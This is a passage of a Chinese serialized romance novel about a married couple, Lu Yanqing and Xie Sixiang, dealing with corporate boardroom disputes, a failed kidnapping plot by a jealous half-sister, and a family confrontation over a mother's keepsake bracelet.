大厅靠近吧台的卡座,谢知瑶穿着V领无袖碎花收腰长裙,今天刚和吴兰欣去烫染了枣栗色卷发,脸上化了精致的妆,不乱发脾气,安安静静时也是美女。 半个月来她被父亲关在家里,只能拜托朋友找人调查谢思虞,竟然真的让她发现了一件有趣的事情。 谢思虞是星海娱乐幕后的老板。 也难怪苏琳一个二线艺人会“帮”谢思虞构陷Elis。 同一间清吧。 一楼103包厢,苏蔓接连失去两个喜欢的角色,又因为和邹筱分手,公司不少人在背地里说她坏话,心情烦闷的不行。 朋友见她状态不对,怕她抑郁,拉着她出来散心,结果还没喝两杯酒,朋友就接到女友电话,匆忙离开了。 谢知瑶从洗手间出来,撞见苏蔓在走廊里吸烟,恍然想起什么,看她的眼神充满了可怜:“啧啧,这还是荧幕上风光无限的苏大影后吗?” 苏蔓倚靠着墙壁,大理石墙面沁着寒意贴上脊背,她睨了谢知瑶一眼,缓缓吐出烟雾。 哂笑:“谢小姐应该自顾不暇吧?还有闲功夫管别人?” 谢知瑶抄袭的热搜还在微博挂着,她庆幸当初没有代言Elis,否则白惹一身骚。 谢知瑶知道苏蔓瞧不上她,但她不介意,母亲说的没错,她不能当服装设计师,却还是能继承Elis。 “听说苏影后跟星海邹副总分手了?那今后还能拿到好的资源吗?” 谢知瑶捂着嘴巴偷笑,忽然倾身,馥郁的香水将苏蔓笼罩,“你猜星海总裁,为什么偏偏把《堕仙簪》的剧本给苏琳?” “看我这记忆,苏影后还不知道星海幕后的总裁就是谢思虞呢。” 苏蔓闻言脑袋空白了一瞬,瞳孔难言震惊之色,直到手指被烟烫到,她才恍然回神,强装镇定开口:“我听不懂谢小姐的意思。” 谢知瑶唇角勾起的弧度越来越大,谢思虞凭什么毁掉她之后还能和陆言卿亲亲我我呢? 既然她不痛快,那大家就都别想好过。 “你听得懂。” 谢知瑶毫不犹豫拆穿苏蔓的伪装,抚了抚裙摆上不存在的褶皱,接着道,“我今天高兴,再告诉苏影后一件事,当年你和陆言卿交往,她为了捧你,准备收购星海娱乐。” 苏蔓指尖的烟掉落在地上,谢知瑶每一字每一句都像是尖锐的冰锥刺进她心口。 “后悔吗?” 谢知瑶欣赏苏蔓煞白的脸,心里别提有多爽快,之前她找苏蔓代言Elis,这人趾高气扬拒绝她的嘴脸,如今还刻在她脑海里。 “丢了西瓜捡芝麻,现在连芝麻都抓不住,要我是苏影后,怕是肠子都要悔青。” 苏蔓真是蠢,竟然背叛陆言卿,白白让谢思虞捡了便宜。 谢知瑶咬了咬后槽牙,懒得跟苏蔓掰扯,踩着高跟鞋离开。 反正说什么都晚了。 谢思虞有陆言卿撑腰,就连爸爸都拿她没有办法。 十分钟后。 苏蔓浑浑噩噩回到包厢,她只喝了两杯度数低的鸡尾酒,没有醉,脑海里却不受控制浮现出和陆言卿交往时的片段。 最初是她追的陆言卿,她们正式交往后,还养了一只白色的布偶猫,她总说她的眼睛跟布偶猫一样清澈明亮。 “收购星海?” 所以那次她们吵架后,陆言卿不是什么都没做,而是打算收购一家娱乐公司吗? 苏蔓捂着心口坐在沙发上,心绪复杂到了极点,从包包里翻找出手机,解锁屏幕后拨打邹筱的电话。 【有事?】 电话接通那刻,邹筱清冽的嗓音在耳畔响起,背景里有打印机运作的嗡鸣,苏蔓无意识攥紧了茶几边缘,嗓音带着轻颤:“星海总裁……是谢思虞?” 听筒那头邹筱迟迟没有回话,打印机结束工作,变成了文件柜沉重的闭合声。 那是副总裁办独有的实木柜门声响。 【我在打印财务报表,你……别胡思乱想,不想工作就好好休息一段时间。】 邹筱尾音带着不自然。 毕竟交往了三年。 苏蔓又哪里听不出这是邹筱在转移话题,嘴角勾起一抹自嘲的笑:“所以是真的。” 谢思虞是星海的总裁。 那她这三年算什么? 从籍籍无名的新人,变成家喻户晓的影后,放任邹筱偏袒她。 这怕不是谢思虞在可怜她。 【真的假的重要吗?】 【蔓蔓你不要钻牛角尖,谢总把《堕仙簪》剧本给苏琳,其中另有隐情。】 【只要你不做“多余”的事情,谢总不会为难你。】 邹筱说话声音有点重,尤其是多余两个字,就差没有点苏蔓挑拨谢思虞和陆言卿的感情了。 “为什么不重要?” 苏蔓端起高脚杯将里面鸡尾酒一饮而尽,有少量酒渍顺着嘴角流下,没入衣领消失不见。 她眼尾微红,嗓音沙哑,“我和星海的合同还有半年吧,到期我不续签了。” 谢知瑶有句话说的对。 她或许后悔了,但重来一次,她还是会选择自己要的名利。 【你这又是何必?我……】 苏蔓挂断了电话,她骨子里是骄傲的,只要她还在星海一天,谢思虞一句话就能决定她的“生死”。 那样太被动了。 她不要。 茶几上手机响起,是邹筱打来的,苏蔓没有接听,又喝了两杯酒,笑着笑着突然捂着脸哭了起来。 她真是笨蛋。 如果当年她选择相信陆言卿,也许一切都是另外的光景。 可人生没有如果。 「陆言卿,谢谢你。」 「是我错怪你了。」 三年时间很长,又似乎很短暂,那人始终没有更换手机号码。 苏蔓蹲坐在地毯上哭了许久,眼眶隐隐红肿,等到情绪发泄出来,冷静后才给陆言卿发送了两条短信。 今后她不会再打扰她。 也没有资格。 与此同时。 江海澜苑,陆言卿从浴室出来,长发吹的半干,坐在梳妆台前的软凳上,拧开身体乳的盖子,还没往身上涂抹,手机叮咚两声响。 拿起来一看,疑惑地挑了挑眉,身后谢思虞从后面抱住她,亲昵地蹭了蹭她的脸颊:“卿卿看什么?” 陆言卿侧过头亲了亲妻子的额头,不以为然道:“垃圾短信。” 说完把信息删除了。 猜到对方是谁,不明白她道歉的原因,不过“真相”是什么都重要了。 第65章 不是阿虞主动说要帮我涂抹? 晚上22:05分。 卧室的加湿器正在工作, 床头暖光灯落在陆言卿肩头镀了一层轻浅的光晕。 谢思虞跪坐在她身侧,掌心樱花味的身体乳搓得发热才敢贴上对方雪白的肌肤。 陆言卿趴在床上,看不清谢思虞脸上的表情, 却能感受到她小心翼翼的触碰。 于是侧脸枕着手臂笑:“刚才不是阿虞主动说要帮我涂抹?手怎么抖成这样?” 呼吸间都是樱花的甜香,谢思虞眉眼低垂,长睫颤抖的厉害, 陆言卿姣好玲珑的身躯映入眼帘,她心跳明显不稳。 耳畔响起对方揶揄的嗓音, 她耳尖红得能滴血,强装镇定:“才没有抖,卿卿胡说。” 沾着乳霜的指尖沿着陆言卿脊柱轻推, 触到腰窝时某人突然绷紧了腰线, 不着痕迹往旁边躲了躲:“胡说吗?可阿虞的脸真的很红……” 尾音被覆上蝴蝶骨的掌心揉碎,陆言卿眼底的笑意更深了。 “卿卿不许动, 也不许说话。” 谢思虞娇嗔瞪了陆言卿一眼,虚拢起她散落在肩头的长发,指腹在肩胛处多打了两个圈。 结果下一秒手腕被握住,不等她反应过来整个人就跌进山茶花与樱花交织的漩涡里。 陆言卿翻过身平躺着,两只手环抱着谢思虞纤细的腰肢,鼻尖蹭过她锁骨,呼吸有点喘, 眼底眸光深邃幽暗,她觉得自己就是自作自受。 妻子明明在很认真帮她涂抹乳霜, 可那柔软的指尖落在身上, 所到之处皆是无形的撩拨。 “阿虞好霸道呀~” “哪有?我……” 谢思虞尾音突然噎住, 此时她趴在陆言卿身上,某人睡衣领口松垮着, 只要她稍稍垂眸,就能看到那袒露着的春光。 “这儿也要涂吗?” 陆言卿莞尔一笑,捉住谢思虞悬在半空的手腕,带着那还沾有乳霜的指尖按在自己心口。 指尖下的心跳又急又重,谢思虞慌得要抽手,反被拽着更紧。 身体乳瓶子翻倒在床单上,洇开小片深色水痕。 陆言卿鼻尖蹭过谢思虞敏感的耳垂:“阿虞害羞的模样我也好喜欢。” 最后一个字被柔软的唇瓣堵回去,谢思虞控制着力道咬了下某人的下唇,然迎接她的是更温柔缠绵的亲吻。 今晚月光皎洁。 屋内更是一片旖旎的风光。 当床头电子时钟指向23:35分时,陆言卿把羞得蜷成团的人捞进怀里,指尖抹开妻子脸上未干的水痕:“明天让品牌方多送十瓶备着?” 谢思虞讷讷半晌,反应过来抬起水眸看着陆言卿,哭笑不得:“卿卿还真是会偷换概念,我刚是这个意思?” 陆言卿眨眨眼,故意装傻:“阿虞不是心疼身体乳洒了吗?” 说完又爱怜地蹭了蹭妻子的肩颈,反正她是不可能“收敛”的,就算嘴上答应,下次她还敢。 谢思虞气笑了,去挠陆言卿腰间的软肉,床头柜上手机屏幕亮起,提示音叮咚几声响。 【言卿姐,你睡了吗?抱歉这么晚打扰你。】 【五套婚纱都制作完成了,我把成品图发给你看看,后天周六有时间吗?你可以带思虞姐来我的工作室,婚纱还是要穿上身才能看到效果。】 【图片】 【图片】 …… 陆言卿下巴蹭着谢思虞肩窝,伸手去拿床头柜上的手机,解锁屏幕,点开微信。 董欣悦发来的婚纱图片加载完毕,五件婚纱在屏幕上连成瀑布。 谢思虞自然也看到了屏幕上的照片,霎那间呼吸缓了片刻,点开最后一张,指尖悬在鱼尾裙摆的水晶刺绣上。 “卿卿什么时候准备的?” 陆言卿握着谢思虞的手往前滑动照片,目光分外柔和,每套婚纱的设计稿纸她都看过,也提出了修改的意见。 不得不说董欣悦很懂她的心,如今看到成品图,她也不免惊叹。 “答应阿虞要补拍婚纱,自然要提前准备。” 第三套婚纱裙摆上的蔷薇花刺绣让谢思虞心重重地跳了下,上次去A市游玩,她们住在山脚下的民宿,房间外墙壁上爬满了蔷薇花藤,那时还未开花。 她只是随口一提,喜欢蔷薇花,没想到陆言卿就放在了心上。 “阿虞有不满意的地方可以提出来,现在还能修改。” 陆言卿第一时间感受到怀里人呼吸稍重,以为她是不喜欢,于是轻轻捏了捏她的指尖。 谢思虞摇摇头,转身抱着陆言卿,“没有不喜欢,这几套婚纱都很美。” 确定妻子说的是实话,陆言卿打字回复董欣悦,一边对谢思虞说:“后天周六我们去试穿婚纱。” “嗯。” 谢思虞心里仿佛吃了蜜糖一样甜。 【谢谢,婚纱都很漂亮,我们周六下午4点去工作室试穿。】 回复董欣悦后陆言卿随手把手机塞进枕头下面,下巴抵着谢思虞发顶:“这段时间阿虞可以想想去哪里拍婚纱,国内国外都可以。” 谢思虞眨眨眼,攥紧了陆言卿腰侧的睡衣,深思熟虑后开口:“就在国内拍。” 她不敢,也害怕陆言卿再去国外。 时空穿越这种事玄之又玄,她无法承受再次失去心上人- 时间来到周五。 谢思虞自从和陆言卿坦白是星海总裁后,没有再藏着掖着,星海有重要的项目需要她出席,也会利用上班时间过去。 上午10点。 陆氏集团高层董事会。 今天有两人缺席,副总谢思虞,还有每次都要凑热闹的陆言昭。 椭圆形会议桌前。 陆弘毅开门见山:“撤掉Elis在双栖云境的所有门店,这是侄女你的意思,还是谢副总的意思呢?” 陆言卿握住钢笔的手顿住,钢笔尖在#Elis撤店方案#标题下方晕开个墨点,她漫不经心挑眉:“自然是我的意思。” 这次不等陆弘毅开口,他旁边的刘董算是有备而来,指节叩响财报数据:“谢副总今天为什么缺席?” “当初谢副总立过军令状要保Elis五年的租约。” 一边说着一边翻找出三年前的会议纪要:“去年三月谢副总还动用集团法务部帮Elis打商标官司。” 他推了推鼻梁上方的镜框,嗓音透着讥讽,“如今却提前两年终止合同,谢副总是打算陷陆氏于不义?” 谢思虞一开始就偏袒Elis,在座的股东都有目共睹,眼下却落井下石,说撤店就撤店,大家难免怀疑谢思虞的用心。 陆言卿岂会看不出几人的心思,嘴角勾起嘲讽的笑,慢条斯理盖上钢笔的笔帽,嗓音清冷:“去年Elis销售额同比下跌28%,经过这次抄袭事件,仅半个月客诉率增长137%。” 会议室陷入死寂。 “谢副总心软时你们嫌妇人之仁。”陆言卿笔尖划过Elis抄袭鉴定报告,泠冽的目光落在二叔陆弘毅身上,“如今及时止损倒成了心狠?” 周鹏是老爷子的心腹,董事会开始前二十分钟,他才跟老爷子通过电话。 总而言之,集团和Elis未来不可能再合作,除非Elis易主。 他适时开口:“陆总和谢副总有自己的考量,撤店的事我没有异议。” 说完看向陆弘毅,转移话题,“倒是想要问问陆董,关于引进【桦悦】女装的提案,一个月过去,陆副总监那边还没有消息吗?” 火突然烧到自己身上,陆弘毅冷眸扫了眼周鹏,不冷不淡道:“【桦悦】在国内外都是数一数二的服装品牌,当初老爷子还在位时也想过要引进该品牌,最后却不了了之。” “如果这次言昭能谈下来,也是他的本事。” 相反要是谈不下来,也不能说他儿子没能力。 陆言卿轻笑,坐在旁边没吭声,看他们两人打太极,直到会议结束,她第一个站起身离开。 【桦悦】的总部在N市,陆言昭就是出差了才没有参加今天的董事会。 陆言卿回到总裁办,想起一桩成年旧事,当初祖父让她相亲那会儿,双栖云境要在N市开分店的事还未落实。 因为遇到了棘手的麻烦。 她忙着和谢思虞聊协议结婚的事情,倒是给忽略了。 再后来她就穿越了时空…… 拿起手机拨打祖父电话,对方很快接听:“爷爷,当年您要在N市开分店,我记得您说事情比较棘手,后来是如何解决的?” 听筒那头传来茶杯打翻的声音,陆言卿眉头微蹙:“您没事吧?” 「没,能有什么事,是你奶奶拿遥控器,不小心碰倒了茶杯。」 「你……怎么突然问N市开分店的事情了?」 “【桦悦】女装总部不是在N市吗?陆言昭这次铁了心要邀请人家入驻双栖云境,我就随便问问。” 商城选址确定,祖父就把集团交给阿虞打理,想必后来一切事宜阿虞都参与其中。 “算了,我回头问阿虞也一样,您最近身体还好吗?” 「我和你奶奶都挺好的。」 「这件事你问思虞也行。」 「总之……你们好好聊,把误会说开了也好。」 误会? 什么误会。 陆言卿狐疑挑眉,正想问祖父,手机里有新的电话进来,看屏幕上方来电显示,是保镖刘跃。 一时间心紧了紧。 刘跃无事不会打她电话,除非阿虞那边出事了。 第66章 我在公寓等阿虞 陆氏集团, 总裁办公室。 陆言卿攥着手机的手指节隐隐发白,斜后方储物架上面,全自动烧水壶内的花茶煮沸, 时间一到发出滴滴的嗡鸣声。 刘跃发来的监控截图里,两个戴鸭舌帽的男人正往谢思虞车底粘追踪器,时间显示是半夜凌晨03:10分。 “人在哪?” 陆言卿眼底浸染了冷意, 开口尾音带着她都没有察觉的颤音。 【西郊仓库扣着,虽然两人刻意躲着摄像头走, 还是被安全通道口隐蔽的摄像头拍到全过程。】 刘跃顿了顿,又继续说。 【姓王的男人交代,谢知瑶答应事成后给他们兄弟300万, 并且帮他们偷渡到国外。】 陆言卿起身走到落地窗前, 天气预报显示今天是阴天,从32楼俯瞰, 能看到三分之一的榕城。 此时乌云笼罩,一副风雨欲来的架势。 落地窗玻璃映出陆言卿清冷的面孔,她将垂落的发丝别到耳后,昨晚谢思虞窝在她怀里挑选拍摄婚纱的地点,后颈沐浴露的橙花香仿佛还萦绕在鼻尖。 指甲深深掐进掌心:“把周静上个月转移资产的证据打包发给谢明远,等阿虞……” 虽然她很愤怒,但谢家的事情最好还是交给阿虞亲自处理, 陆言卿抿了抿唇,吩咐刘跃:“你先把人看住, 等阿虞忙完手中的事情再说。” 谢知瑶是蠢货吗? 竟然找人想要绑架阿虞, 这件事谢明远和周静又知不知情? 另一边。 星海娱乐员工大群五分钟时间不到, 消息就叠加到99+。 市场部周主管偷偷摸摸拍了张谢思虞坐在总裁位的照片:【财务刚说谢思虞签字笔迹和去年并购案合同一模一样!】 最后配了个瞳孔地震的表情包。 【救命!邹副总直接对谢思虞汇报工作,她真的是星海幕后的总裁——啊啊啊啊啊, 发生什么事情了,为什么突然“公开身份”了呢?】 邹筱的特别助理突然冒出来:【半年前年度发布会,结束后我在车库看到魂不守舍的宋薇,莫非她那时就知道了谢总的身份?】 这条消息两秒后被撤回,却已经被手快的实习生截图发给宋薇的助理。 五分钟后,宋薇在群里发了条信息:【孙助理说的没错,当时我确实看到了邹副总跟谢总汇报工作。】 没有人质疑宋薇的话。 大群里也顿时安静下来,然而这件事还闹到了微博上。 热搜榜眨眼间窜上两条新词条: #星海娱乐总裁谢思虞#(爆) #谢思虞陆氏副总#(热) 茶水间打印机还在打印资料,新来的实习生津津有味翻看群内的消息,突然眼前多了一人,抬眸看清楚是谁,惊悚地瞪大眼睛,哆哆嗦嗦把手机装进裤兜里。 “看什么?” 谢思虞愿意公开身份,邹筱莫名松了口气,毕竟隐瞒起来很苦恼。 她也添加了公司的大群,不过被她折叠了消息。 实习生咽了咽口水,打印机结束工作,她一边整理资料一边小声解释:“大家都在群里说谢总的事情。” 邹筱微微挑眉,倒也没有为难实习生,谢思虞“高调”出现在星海,自然不怕出现在微博热搜榜上。 端着咖啡回到办公室,打开和苏蔓的聊天页面,那人还未回复自己。 看样子是真的打算跟她划清界限。 疲倦地捏了捏眉心。 半年后苏蔓离开星海,不管签约哪家经纪公司,抑或是她自己开工作室,都不是她能问过的了。 仔细想想,这样也挺好的。 高层会议结束。 谢思虞就离开了顶楼,回到车上,刘燕一字不漏转述了哥哥的话,看了眼手机屏幕上时间,她给陆言卿发微信。 「卿卿别担心,今天我可能要晚一点回家,我会带着那两人去谢家老宅处理这件事。」 平板电脑解锁,谢思虞指尖在屏幕上轻点,画面中出现了谢知瑶的身影。 是的,谢知瑶找人监视她。 而她也不是没有准备。 「好,我在公寓等阿虞。」 谢思虞看到陆言卿秒回的信息,唇角勾起温柔的笑意,身体稍稍后仰,靠着座椅靠背,闭上了眼睛。 有些人,真的不值得原谅。 晚上8点。 下起了蒙蒙细雨。 谢家老宅,谢明远收到陆氏集团撤店的文件,一整天脸都是黑的,周身萦绕着一股低气压,随时可能爆发。 餐厅。 周静连续两次给女儿使眼色,警告她别出声,吃完饭就上楼休息。 谢知瑶悻悻然耸肩,她对父亲是又敬又怕,这种时候也不敢惹他生气,乖乖埋头吃饭。 她们想“安然”度过今晚,显然是不可能了。 谢家老宅是三层楼小洋房别墅,夜幕低垂,院子紧闭的铁门被车辆强行撞开,闹出的动静不可能小。 院子南北两个角落的声控灯亮起,管家火急火燎出来,扫了眼满地的狼藉,正要开口指责,看到院子外从宾利车后排下来的人,瞬间变成鹌鹑,结结巴巴道:“思,思虞小姐,您这是有事吗?” 谢明远黑着脸出来,脚上还穿着拖鞋,直接撞坏铁门冲进院子的是一辆越野吉普车。 另外一辆黑色宾利车停在了外面。 他眉头紧拧,尤其看到谢思虞一脸风轻云淡的模样,更是气得不轻。 “谢思虞你疯了!” 不等父亲开口,小跑出来的谢知瑶就破口大骂,愤恨的目光落在谢思虞身上。 她穿着旗袍风格的连衣裙,黑花白底,微卷的长发披肩,只是站在那里,什么都没说,就美的惊心动魄。 谢知瑶打心底里厌恶谢思虞,一半原因是因为她长得比自己好看。 另外一半——明明她才是谢家的千金大小姐,凭什么谢思虞这个贫民窟来的野丫头,比她矜贵从容? “谢董,我今天过来不想跟你浪费口舌,你如果管不好自己的女儿,那我不介意让警察来管教。” 谢明远一时没明白谢思虞的意思,什么事要惊动警方? 冷眸扫了眼身侧的女儿,沉声问:“你这话什么意思?” 刘跃打开吉普车后座的车门,将两个被反绑手臂的男人拽出来。 两人鼻青脸肿,其中一人嘴角还在流血,被退休的跆拳道高手一顿拳脚伺候,他们喘气胸口都痛,踉跄跪在地上,动弹不得。 寸头男趴在地上,半边脸陷在污水里,艰难开口:“谢小姐,我们快被打死了,你好歹说句话。” 谢知瑶看到穿黑衣的两人,下意识往后退了两步,不是说反侦察能力很强? 她预付他们150万,就这么被抓住了? 周静看到女儿脸上的心虚,还有什么不明白,抬起手就打了女儿一巴掌:“我看是你疯了,谢知瑶——你非要毁了这个家吗!” 谢知瑶被母亲打蒙了,捂着火辣辣的脸颊,豆大的眼泪流下来,她不是没想过事发后要面临的事情。 控诉道:“我只是想吓唬她!” 绑架不是没成功吗! 谢明远用力扯了扯领口的领带,眼睛猩红,太阳穴青筋凸起,他恨不得把小女儿扫地出门! 看向不远处神情淡然的谢思虞,他咬牙切齿问:“说吧,你的条件。” 她敢明目张胆上门,手里肯定有证据,要是让警方插手,他谢明远还要不要在榕城待下去了! 淅淅沥沥的小雨还在继续。 刘燕撑着一把黑色的大伞站在谢思虞身后,虽然绑架未遂,可她们掌握了证据,可以直接把谢知瑶送到警局。 这件事谢思虞掌握主动权,可她却觉得她很悲伤。 远没有表面这般平静。 谢思虞嘴角勾起一抹冷笑。 自始自终,她都没有得到谢明远公平的对待。 哪怕一次。 “把母亲的遗物还给我。” 谢明远听到这句话,脸色肉眼可见的速度变得惨白,他攥紧拳头,声线沙哑:“换一个条件。” 谢思虞哂笑:“我只要母亲的遗物。” 还真是可笑,事到如今,他还是不愿把手镯归还。 “谢明远你真恶心。” “霸占不属于你的东西,你还要不要脸?” 那翡翠手镯甚至都不是她母亲的东西! 当着妻女和外人的面,谢明远脸上的遮羞布被谢思虞强行撕下来,他差点咬碎后槽牙。 满是戾气的眸子死死盯着他和那人的女儿,恨不得时光倒流。 当年就不该让她生下孩子! 局面僵持不下,就在谢思虞要拨打警方电话时,周静跪在谢明远面前苦苦哀求。 他才不得不交出手镯。 谢思虞如愿拿回母亲的“遗物”,却一点都不开心,快到十点半她才回到公寓。 玄关感应灯亮起,客厅沙发上陆言卿第一时间站了起来。 财务报表从膝头滑落,她赤脚踩过冰凉的地面,小跑来到妻子跟前。 “阿虞……” 陆言卿话音未落,谢思虞带着凉意扑进她怀里,柔软的唇蹭在她下巴,很快,咸涩的眼泪渗进两人交缠的唇缝里。 陆言卿后腰硌着鞋柜把手有点疼,却只是更用力地搂着怀里发抖的身躯。 谢思虞把头埋进陆言卿肩颈里,嗓音哽咽:“那条手镯……妈妈最后……” 断断续续的句子混着颤抖的呼吸,陆言卿心疼不已,指尖抹开妻子眼角的泪水,很轻很轻的吻落在她眼睛上。 “都过去了。” “阿虞,今后你有我。” 第67章 现在,她却想要她的一辈子。 陆言卿的指尖插进谢思虞散落的发丝里, 爱怜地亲了亲她的眼睛,又顺着鼻梁滑到唇角,最后覆上她的唇瓣, 轻的像羽毛拂过湖面。 时间一分一秒过去,直到感受到谢思虞情绪慢慢平静,她才牵着她的手往餐厅方向走:“饿坏了吧?阿虞洗洗手我们吃饭。” 晚餐是云膳坊送过来的。 一直装在特殊定做的保温盒里, 直接拿出来就能吃,温度也刚刚好。 谢思虞内心仅剩那点悲伤被愧疚取代, 她应该早些回来的,害陆言卿饿着肚子等她。 还浸着薄薄水汽的眼眸里满是心疼:“抱歉卿卿,让你等那么久。” “你是我的妻子, 等你回家一起吃饭不是很正常吗?” 陆言卿舀了半碗排骨汤放在谢思虞面前, 原本今晚她想去给妻子撑腰,可考虑到其他原因, 还是歇了心思。 不过周静私下转移财产的“证据”她还是让刘跃发到了谢明远的工作邮箱。 既然已经乱作一团,想来也不介意更乱。 “嗯。” 谢思虞双手捧着陶瓷碗,里面的汤是温热的,她那沉寂的心此刻却异常滚烫。 家里有人等她的感觉,很好。 陆言卿又给谢思虞夹了一片脆藕,笑着说:“别想那些乱七八糟的事情了,快吃饭吧。” 半个小时后。 陆言卿把碗筷放进洗碗机里, 今晚谢思虞心情不好,吃的并不多, 她打算给她热杯牛奶。 放在中岛台上的手机屏幕亮了起来。 【卿卿, 思虞姐真的是星海幕后的总裁啊?】 【整整三年耶, 思虞姐还隐藏挺好,我居然都被误导了。】 【能不能拜托思虞姐多关照关照宋薇啊?你们不是要拍婚纱吗?到时候我给你们当免费劳动力。】 陆言卿把装有牛奶的玻璃杯放进微波炉, 设置好时间,这才拿起手机看微信。 还关照宋薇? 眉梢微挑,下意识看向卧室方向,这时谢思虞应该在洗澡。 “阿虞有心隐瞒,你不知道很正常。” 懒得打字,陆言卿直接发的语音,想到钟晚意和宋薇一言难尽的关系,她又唠叨两句。 “不是打算放弃?又改变主意了?” 【……】 【没有改变主意。】 【其实阿雪说的没错,我们之间身份差距太大,当然了,最重要的是她不喜欢我。】 【被不喜欢的人纠缠很烦的。】 【虽然我们做不成情侣,我还是希望她能好好的。】 【娱乐圈水很深又脏,不想她再被人欺负。】 陆言卿看着屏幕上接二连山出现的内容,速度很快,嘴角不自觉抽了抽。 不用问,钟晚意肯定坐在电脑前敲击键盘,否则打字不会这么快。 「不想她再被人欺负。」 一个再字就说明宋薇曾遭遇过不好的事情。 陆言卿轻轻叹息:“就凭借宋薇和你相识一场,阿虞也不会为难她,况且……” 随手捻起玻璃碗中一颗杨梅放进嘴巴里。 嘶—— 好酸。 陆言卿咬了口杨梅,酸的她眉头都蹙了起来,赶紧吐垃圾桶都来不及。 【嗯?】 “没事,我想说阿虞是惜才的人,宋薇能走多远还是要看她自身的能力。” 陆言卿能理解钟晚意想要帮宋薇的心情,可她不是星海的总裁,谢思虞就算能帮,也不好“过分”偏袒。 终究要靠宋薇自己。 相对于公寓的温馨。 谢家老宅却是乱作一团。 谢思虞一行人离开后,谢明远直接让管家把地上还捆绑着双手的两个男人丢出院子。 严声厉色警告他们闭上嘴巴,否则榕城再没有他们的栖身之地。 事情这么一闹,谁还有心思吃饭?佣人们也不敢去收拾桌上的狼藉,全都如履薄冰躲在暗处,生怕这把火烧到他们身上。 一楼客厅。 谢明远拿起茶几上的烟灰缸就砸向谢知瑶脚边,玻璃碎片溅的到处都是,甚至有碎片划破她的小腿,可她诚恐诚惶站在那里,一句话不敢说。 右边脸颊已经红肿起来,她也顾不上处理。 “你就只会冲我们母女发脾气!” 屋外的雨还在下,周静穿着旗袍,刚在外面台阶上那么一跪,裙摆早都弄脏了。 瞧见女儿被碎片划破的小腿,她冷冷看向一旁的丈夫。 几十年了。 谢明远在外十分注重形象,是慈爱宽容的父亲,是温柔贴心的丈夫。 可在家里他装都不愿意装,怒火攻心时就喜欢摔东西。 哪怕从未对她动过手,就凭摔东西这条,她就厌烦至极! “我不该发脾气吗!” 谢明远扯掉脖子上的领带,指着谢知瑶大骂,“你看看她做的好事!居然愚蠢到□□谢思虞——” 这件事确实是女儿不对。 周静扶着沙发坐下来,她气得心口疼,这段时间她说了那么多,偏偏女儿一个字都没有听进去。 就不能稳重成熟一点吗? Elis如今摇摇欲坠,稍有不慎就会陷入万劫不复之地。 一旦资金链断裂,公司就会破产。 谢思虞说会报复他们,就一定会搞垮谢家。 她必须尽快打算。 “爸,我知道错了。” 谢知瑶咬着下嘴唇,违心道歉认错,雇佣那两人的钱都是吴兰欣借给她的。 【瑶瑶,我只能帮你这么多。】 【你和谢思虞之间的事情,我不会再插手,否则就要牵连吴家了。】 【谢思虞不可怕,吴家不能得罪陆家。】 一想到好友的话,谢知瑶攥紧拳头,指尖陷入掌心。 整个榕城她和吴兰欣关系最好,可一旦涉及家族利益,好朋友也不敢得罪陆言卿。 所以说啊。 她谢思虞怎么就这般好命呢! 陆言卿是眼瞎吗?竟然喜欢那个处心积虑的女人。 谢明远后悔莫及又能怎么办?事情已经发展到这一步,Elis面临撤店,线上这块销售绝对不能再出现差错。 “知道错了?” 谢明远冷笑一声,他算是知道了小女儿的性子,嘴上认错快,甚至也能表现出温顺乖巧的一面,可背地里什么不敢干? “我真的没有时间管你,明天你跟你妈去S国,没有我的允许不能回国!” 谢知瑶闻言眼底满是震惊:“爸,我不要——” 周静直接打断女儿:“闭嘴,你不要什么?这次必须听你爸的话,明天我带你离开。” 捏了捏肿胀的太阳穴,她知道女儿不甘心,但现在出国是最好的选择。 真的把谢思虞逼急了,绑架的事闹到警局,女儿留了案底,这辈子都完了。 “妈,您真的打算带我出国啊?” 父亲离开客厅,消失在楼梯口,谢知瑶才走到母亲身边坐下,她现在说话脸都疼。 周静瞪了女儿一眼,没好气开口:“收起你那些小心思,妈自有打算。” 这些年她身为艺术基金会的理事长,有一部分积蓄,一个月前她就开始转移财产,就算她和女儿在国外,有那笔钱,她们也能过的很好。 事情没有转圜的余地。 谢知瑶耷拉着脑袋,没精打采往楼上走,结果到楼梯口被身后的周静叫住:“把脸上的伤处理下。” 刚才那样的局面,她要是不动手,丈夫的巴掌也会落到女儿脸上。 失望归失望,年过半百的她只有谢知瑶一个女儿,又岂能真的不管她? 很快楼下仅剩周静一个人,她又叫来管家,吩咐了些事情,回到楼上卧室,刚拿出行李箱,没等她收拾完衣帽间的首饰。 卧室门被丈夫用力踹开,发出“砰”的一声巨响! “周静你真是好样的!” 攥紧手里的珍珠项链,周静眉头紧锁:“你又发什么疯?” 谢明远气得狠了,脸涨得通红,大步流星冲到妻子面前,将一沓资料摔在她脸上:“我是要死了吗?你就转移财产!” 事情暴露。 时至今日,周静面对愤怒的丈夫,反而格外平静。 弯腰捡起地上的纸张,嘴角扯出一个嘲讽的弧度:“你知道了也好,我们离婚吧。” 人在极端愤怒的时候。 反而会笑。 谢明远盯着妻子看了许久,忍不住轻笑出声,这就是他娶的妻子,他们30年的夫妻,竟也走到了这一步。 当真是大难临头各自飞。 “行,离婚。” 谢思虞知道这两人离婚已经是第二天的事情。 一如既往,她在陆言卿怀里醒来,榕城天气一天比一天炎热,床上的羽绒被也换成了夏凉被。 轻手轻脚起床,将滑落的被角轻轻盖在陆言卿身上,轻如花瓣般的吻落在她的额头。 谢思虞拿起床头的手机,一边往浴室方向走,解锁屏幕看到谢知瑶发给她的信息,脚下的步子顿住。 【谢思虞你满意了!他们离婚也有你的手笔吧?】 【你得意不了多久的,若要人不知,除非己莫为,等我抓到你的把柄,你的好日子就到头了!】 【我祝你早日被陆言卿抛弃。】 谢思虞眼底目光闪了又闪,深呼吸一口气,静默几秒,才将短信删掉,顺带把电话号码拉黑。 攥紧手机,因太过用力,手背上的青色血管都清晰可见。 她转身走向床边。 跪坐在床沿,目光一瞬不瞬落在陆言卿恬静柔美的睡颜上,心脏好似被针扎,泛起密密麻麻的疼。 “卿卿,知道真相的你,会原谅我吗?” 她越来越贪心了。 一开始她想的是,她和陆言卿有3年的婚姻,便足以。 现在,她却想要她的一辈子。 第68章 我看到你写的道歉信了 上午10点, 榕城国际机场。 2楼某VIP贵宾室,谢知瑶和朋友吴兰欣通话将近40分钟,最后红着眼睛挂断了电话, 事到如今她再不甘心,再不情愿,也要跟随母亲去S国。 她的卧室在别墅三楼, 昨晚父亲和母亲争吵不休,她其实也听见了, 最近一段时间他们总是因为鸡毛蒜皮的小事吵架,她以为没什么的。 